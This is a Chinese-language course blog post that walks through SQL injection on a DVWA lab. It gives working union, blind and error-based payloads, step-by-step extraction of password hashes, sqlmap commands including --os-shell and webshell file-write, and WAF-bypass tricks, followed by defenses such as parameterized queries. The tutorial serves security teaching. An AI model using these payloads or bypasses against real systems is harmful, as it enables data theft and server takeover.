SQL注入漏洞实战

2 阅读3分钟

SQL注入漏洞实战

马哥教育网络安全课程实战博客 · 第06篇 对应课程章节:第15-16章(信息搜集和SQL注入漏洞,SQL注入漏洞) 实验环境:4台 Ubuntu 24.04 服务器(8vCPU / 16GB),攻击机 113.47.1.165,目标机 192.168.1.100(DVWA + MySQL)


一、前言

SQL注入(SQL Injection)是Web安全中最经典、危害最大的漏洞之一。攻击者通过在输入中插入恶意SQL片段,篡改后端SQL查询逻辑,从而窃取、篡改或删除数据库内容。本篇从原理出发,覆盖手动注入、自动化利用、绕过技术和防御方案,并在DVWA靶场进行全流程实战。


二、SQL注入基础

2.1 什么是SQL注入

当Web应用将用户输入直接拼接进SQL语句,且未做过滤或参数化处理时,攻击者可以构造特殊输入改变SQL语义。

漏洞代码示例(PHP):

// 危险:直接拼接用户输入
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);

正常请求 ?id=1,SQL为:

SELECT * FROM users WHERE id = 1

攻击请求 ?id=1 UNION SELECT username,password FROM users--,SQL变为:

SELECT * FROM users WHERE id = 1 UNION SELECT username,password FROM users--

攻击者通过UNION操作将users表的所有用户名和密码查询出来。

2.2 SQL注入的危害

危害说明
数据泄露读取数据库中所有表的数据,包括用户凭证、个人信息
数据篡改修改或删除数据库记录
认证绕过构造永真条件绕过登录验证
信息收集获取数据库版本、表结构,为后续攻击提供信息
命令执行通过 xp_cmdshell(MSSQL)或 INTO OUTFILE(MySQL)写文件
权限提升写入Webshell获取服务器控制权

2.3 SQL注入产生条件

1. 用户输入可控
2. 输入被拼接进SQL语句
3. 未使用参数化查询/预处理语句
4. 未对输入进行充分过滤和验证

三、SQL注入分类

3.1 按注入点位置分类

类型注入点示例
注入型WHERE条件中的参数?id=1
搜索型LIKE条件中的搜索词?keyword=test
INSERT型INSERT语句的VALUES注册/添加功能
UPDATE型UPDATE语句的SET修改密码/资料
HTTP头注入Cookie/Referer/UA记录访问日志功能

3.2 按返回结果分类

联合查询型注入(Union-based)

最直接的注入方式,通过UNION SELECT将额外数据拼接到查询结果中。

-- 判断字段数
?id=1 ORDER BY 1-- -    → 正常
?id=1 ORDER BY 2-- -    → 正常
?id=1 ORDER BY 3-- -    → 报错,说明有2个字段

-- 确定显示位
?id=-1 UNION SELECT 1,2-- -

-- 提取数据
?id=-1 UNION SELECT username,password FROM users-- -
布尔盲注(Boolean-based Blind)

当页面不直接返回查询数据,但根据条件真假返回不同内容时使用。

-- 判断数据库长度
?id=1 AND LENGTH(database())=4-- -    → 正常,数据库名长度为4

-- 逐字符猜解数据库名
?id=1 AND ASCII(SUBSTR(database(),1,1))=100-- -  → d
?id=1 AND ASCII(SUBSTR(database(),2,1))=118-- -  → v
-- 最终猜解出数据库名: dvwa
时间盲注(Time-based Blind)

当页面无论真假都返回相同内容时,通过延时函数判断条件真假。

-- MySQL时间盲注
?id=1 AND IF(LENGTH(database())=4, SLEEP(5), 0)-- -
-- 如果响应延迟5秒,说明条件为真

-- 逐字符猜解
?id=1 AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(5), 0)-- -
报错型注入(Error-based)

利用数据库报错信息回显数据。

-- MySQL报错注入(updatexml)
?id=1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- -
-- 报错信息: XPATH syntax error: '~dvwa~'

-- extractvalue方式
?id=1 AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))-- -

四、手动SQL注入实战(DVWA Low级别)

4.1 环境确认

目标URL: http://192.168.1.100/DVWA/vulnerabilities/sqli/
参数: id
Cookie: security=low; PHPSESSID=xxx

4.2 Step 1: 判断注入点

# 正常请求
curl "http://192.168.1.100/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \
  -b "security=low; PHPSESSID=xxx"
# 返回: First name: admin, Surname: admin

# 加单引号
curl "http://192.168.1.100/DVWA/vulnerabilities/sqli/?id=1'&Submit=Submit" \
  -b "security=low; PHPSESSID=xxx"
# 返回: SQL语法错误 → 存在SQL注入

4.3 Step 2: 判断字段数(ORDER BY)

?id=1 ORDER BY 1-- -    → 正常
?id=1 ORDER BY 2-- -    → 正常
?id=1 ORDER BY 3-- -    → 报错

结论:查询有2个字段。

4.4 Step 3: 确定显示位

?id=-1 UNION SELECT 1,2-- -

页面显示:First name: 1, Surname: 2。两个位置都能回显数据。

4.5 Step 4: 提取数据库信息

-- 当前数据库名
?id=-1 UNION SELECT database(),version()-- -
-- 结果: First name: dvwa, Surname: 5.7.40

-- 所有数据库名
?id=-1 UNION SELECT GROUP_CONCAT(schema_name),2 FROM information_schema.schemata-- -
-- 结果: information_schema,dvwa,mysql,performance_schema,sys

4.6 Step 5: 提取表名

-- dvwa数据库中的表
?id=-1 UNION SELECT GROUP_CONCAT(table_name),2 FROM information_schema.tables WHERE table_schema='dvwa'-- -
-- 结果: guestbook,users

4.7 Step 6: 提取列名

-- users表的列
?id=-1 UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_name='users' AND table_schema='dvwa'-- -
-- 结果: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

4.8 Step 7: 提取数据

-- 提取用户名和密码哈希
?id=-1 UNION SELECT GROUP_CONCAT(user,0x3a,password),2 FROM dvwa.users-- -
-- 结果: admin:5f4dcc3b5aa765d61d8327deb882cf99,gordonb:e99a18c428cb89d5ec2335e...

密码哈希 5f4dcc3b5aa765d61d8327deb882cf99 是MD5("password"),可在CMD5等在线平台解密。


五、布尔盲注实战(DVWA Medium级别)

Medium级别使用 mysqli_real_escape_string 过滤特殊字符,且改为POST提交。但数字型注入不依赖引号,仍可注入。

5.1 判断注入

POST: id=1 AND 1=1&Submit=Submit    → 正常显示
POST: id=1 AND 1=2&Submit=Submit    → 无数据

条件真假返回不同结果,确认布尔盲注。

5.2 猜解数据库名长度

id=1 AND LENGTH(database())=1  → 无数据
id=1 AND LENGTH(database())=2  → 无数据
id=1 AND LENGTH(database())=3  → 无数据
id=1 AND LENGTH(database())=4  → 正常显示

数据库名长度为4。

5.3 逐字符猜解

-- 使用二分法加速
id=1 AND ASCII(SUBSTR(database(),1,1))>100-- -
-- 正常 → 第一个字符ASCII码>100

id=1 AND ASCII(SUBSTR(database(),1,1))>110-- -
-- 无数据 → ASCII码在100-110之间

id=1 AND ASCII(SUBSTR(database(),1,1))=100-- -
-- 正常 → 第一个字符是 'd' (ASCII 100)

重复此过程猜解所有字符,最终得到数据库名 dvwa。


六、SQLMap自动化利用

SQLMap是最强大的SQL注入自动化工具,支持多种数据库和注入类型。

6.1 安装

git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py --version

6.2 基础用法

# 检测注入点
python3 sqlmap.py -u "http://192.168.1.100/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="security=low; PHPSESSID=xxx"

# 输出:
# [INFO] testing 'AND boolean-based blind'
# [INFO] GET parameter 'id' appears to be boolean-based blind injectable
# [INFO] GET parameter 'id' is 'UNION query' injectable
# [INFO] the back-end DBMS is 'MySQL'

6.3 提取数据

# 获取所有数据库名
python3 sqlmap.py -u "http://192.168.1.100/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="security=low; PHPSESSID=xxx" \
  --dbs

# 结果:
# available databases [5]:
# [*] dvwa
# [*] information_schema
# [*] mysql
# [*] performance_schema
# [*] sys

# 获取dvwa库的表
python3 sqlmap.py -u "..." --cookie="..." -D dvwa --tables

# 结果:
# Database: dvwa
# [2 tables]
# +-----------+
# | guestbook |
# | users     |
# +-----------+

# 获取users表的列
python3 sqlmap.py -u "..." --cookie="..." -D dvwa -T users --columns

# 导出数据
python3 sqlmap.py -u "..." --cookie="..." -D dvwa -T users --dump

# 结果:
# Database: dvwa
# Table: users
# [5 entries]
# +---------+---------+-----------+----------------------------------+
# | user_id | user    | password  | avatar                           |
# +---------+---------+-----------+----------------------------------+
# | 1       | admin   | 5f4dcc... | /hackable/users/admin.jpg        |
# | 2       | gordonb | e99a18... | /hackable/users/gordonb.jpg      |
# +---------+---------+-----------+----------------------------------+
# [INFO] cracked password hashes: password, abc123, charlie, letmein

6.4 SQLMap高级选项

# 指定注入技术
--technique=BEUST    # B=布尔盲注 E=报错 U=联合 S=堆叠 T=时间盲注

# 指定数据库类型
--dbms=mysql

# 指定注入参数
-p id                # 只测试id参数

# POST请求
python3 sqlmap.py -u "http://192.168.1.100/DVWA/vulnerabilities/sqli/" \
  --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=xxx"

# 使用Burp请求文件
python3 sqlmap.py -r request.txt --dbs

# 交互式SQL Shell
python3 sqlmap.py -u "..." --cookie="..." --sql-shell
# sql-shell> SELECT user,password FROM dvwa.users;

# OS Shell(需要DBA权限,可执行系统命令)
python3 sqlmap.py -u "..." --cookie="..." --os-shell

# 写入文件
--file-write="/home/attacker/shell.php" --file-dest="/var/www/html/shell.php"

七、WAF绕过技术

7.1 常见过滤与绕过

过滤内容绕过方法
过滤空格使用 /**/、%0a、%09(Tab)、()代替空格
过滤 UNION大小写混合 UnIoN、UNI%00ON、UN/**/ION
过滤 SELECTSELE%00CT、SEL/**/ECT、内联注释
过滤引号十六进制编码:0x64767761 = 'dvwa'
过滤逗号SUBSTR(database() FROM 1 FOR 1) 代替 SUBSTR(database(),1,1)
过滤 =使用 LIKE、IN、BETWEEN
过滤 AND/OR使用 && / ``

7.2 内联注释绕过(MySQL特性)

MySQL中 /*!...*/ 内联注释会被执行:

-- 正常UNION SELECT被WAF拦截
?id=1 UNION SELECT 1,2-- -

-- 使用内联注释绕过
?id=1 /*!UNION*/ /*!SELECT*/ 1,2-- -

7.3 SQLMap绕过WAF

# 使用tamper脚本绕过WAF
python3 sqlmap.py -u "..." --tamper=space2comment,between,randomcase

# 常用tamper脚本:
# space2comment     - 空格替换为注释
# between           - > 替换为 BETWEEN
# randomcase        - 随机大小写
# charencode        - URL编码
# equaltolike       - = 替换为 LIKE
# space2plus        - 空格替换为+
# unionalltounion   - UNION ALL 替换为 UNION

# 查看所有tamper脚本
ls tamper/

7.4 DVWA High级别分析

High级别使用 stripslashes 和自定义 check_input 函数过滤输入,并采用LIMIT限制查询结果:

$id = check_input($_GET['id']);
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

绕过思路:

  • check_input 限制了长度并使用 mysql_real_escape_string 转义引号
  • 但可以在 LIMIT 1 之前闭合引号并注释掉后续内容
  • Payload: id=1' UNION SELECT user,password FROM users-- -

八、防御方案

8.1 参数化查询(最有效防御)

// 安全:使用预处理语句(PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();

// 安全:MySQLi预处理
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
# Python安全写法(参数化查询)
import mysql.connector
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE id = %s", (id,))
// Java安全写法(PreparedStatement)
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
ps.setInt(1, id);
ResultSet rs = ps.executeQuery();

8.2 DVWA Impossible级别代码分析

// Impossible级别使用参数化查询
$data->query('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bind(':id', $id, PDO::PARAM_INT);

同时增加了:

  • Anti-CSRF Token验证
  • 输入类型强制转换
  • 日志记录失败尝试

8.3 输入验证与过滤

// 强制类型转换(数字型ID)
$id = intval($_GET['id']);

// 白名单验证
$allowed_fields = ['name', 'email', 'phone'];
$field = in_array($_GET['sort'], $allowed_fields) ? $_GET['sort'] : 'id';

// 使用ORM框架自动参数化
// Laravel Eloquent: User::where('id', $id)->first();

8.4 WAF(Web应用防火墙)

# ModSecurity + OWASP CRS配置
sudo apt install libapache2-mod-security2 -y
sudo a2enmod security2

# 下载OWASP Core Rule Set
cd /etc/modsecurity
git clone https://github.com/coreruleset/coreruleset.git

# 配置规则
sudo nano /etc/modsecurity/modsecurity.conf
# SecRuleEngine On

# 启用CRS
sudo cp /etc/modsecurity/coreruleset/crs-setup.conf.example \
        /etc/modsecurity/coreruleset/crs-setup.conf

sudo systemctl restart apache2

8.5 数据库安全加固

措施说明
最小权限原则应用使用低权限数据库账户,不使用root
禁用危险函数禁用 INTO OUTFILE、LOAD_FILE 等
关闭错误回显生产环境关闭 display_errors,使用自定义错误页
数据加密存储密码使用bcrypt/Argon2,不使用MD5
审计日志开启数据库查询日志,监控异常查询
网络隔离数据库不直接暴露公网,仅允许应用服务器访问

九、总结

本篇系统讲解了SQL注入漏洞:

  1. 原理:用户输入直接拼接进SQL语句,导致SQL语义被篡改。
  2. 分类:联合查询型、布尔盲注、时间盲注、报错型,各有适用场景。
  3. 手动注入:判断注入点 → 判断字段数 → 确定显示位 → 提取库/表/列/数据,七步法完整覆盖。
  4. SQLMap:自动化检测和利用,支持 --dbs、--tables、--columns、--dump 全流程提取数据。
  5. 绕过技术:内联注释、大小写混淆、编码绕过、tamper脚本,应对WAF和过滤。
  6. 防御:参数化查询是根本方案,配合输入验证、WAF、最小权限和数据库加固形成纵深防御。

SQL注入虽然历史悠久,但在实际渗透测试中仍然高频出现。掌握手动注入原理是使用自动化工具的前提——当工具失效时,手动能力决定了能否继续突破。

下一篇将进入更多Web漏洞类型的实战,包括XSS、文件上传、命令注入等。


免责声明:本文所有技术内容仅用于授权安全测试和教学目的。所有实操均在自有靶场环境中进行。未经授权对他人系统进行测试属于违法行为。